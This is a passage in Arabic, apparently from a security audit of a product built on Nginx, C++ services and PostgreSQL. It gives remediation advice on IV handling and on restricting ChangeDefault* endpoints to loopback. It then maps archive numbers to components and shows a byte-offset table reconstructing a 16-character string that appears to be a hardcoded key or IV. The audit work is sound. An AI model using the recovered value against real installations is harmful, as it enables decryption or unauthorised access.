4. **عامل "لا يحتاج IV إلى أن يكون سريًا" كمسدس في القدم، وليس ترخيصًا.** الاحتفاظ بـ IV الحرفي حتى بعد الكشف هو دفاع رياضي في CBC ولكنه ينتج إمكانية هجوم غير ضرورية بمجرد أن يكشف الفرق أن التدوير هو فقط للمفتاح.
5. **بالنسبة لمجموعة نقاط النهاية `ChangeDefault*`**، فضل استخدام مستمع مأخذ نطاق يونكس / استرجاع ذاتي فقط على طبقة التطبيق بدلاً من تقييد تكوين Nginx. ملف التهيئة هو خطأ تعديل واحد بعيدًا عن إعادة إدخال الخلل؛ `bind 127.0.0.1` في خدمة C++ أكثر أمانًا من الناحية الهيكلية.
| الأرشيف | المحتويات |
|---|
246/Nginx + 246/www | طبقة ويب Nginx (الباب الأمامي) وواجهة مستخدم ويب SPA |
244/bin | ثنائيات خدمة C++ أصلية + شهادات |
240 | PostgreSQL مُجمّع + نصوص تهيئة قاعدة البيانات |
238 | وقت تشغيل Bee* (BeeAgent, BeeGuard, …) |
282 | خدمات التطبيق والإضافات (الجزء الأكبر من كود الخلفية C++) |
281, 283-284, 396, 398-399, 513, 520, 538-541, 573 | إضافات أصغر، مكونات إضافية، ودعامات ترقية/إلغاء التثبيت |
| pos | offset | byte | char |
|---|
| 0 | +22 | 0x57 | W |
| 1 | +54 | 0x77 | w |
| 2 | +23 | 0x58 | X |
| 3 | +55 | 0x78 | x |
| 4 | +24 | 0x59 | Y |
| 5 | +56 | 0x79 | y |
| 6 | +25 | 0x5A | Z |
| 7 | +57 | 0x7A | z |
| 8 | −16 | 0x31 | 1 |
| 9 | −15 | 0x32 | 2 |
| 10 | −14 | 0x33 | 3 |
| 11 | −13 | 0x34 | 4 |
| 12 | −32 | 0x21 | ! |
| 13 | −1 | 0x40 | @ |
| 14 | −30 | 0x23 | # |
| 15 | −29 | 0x24 | $ |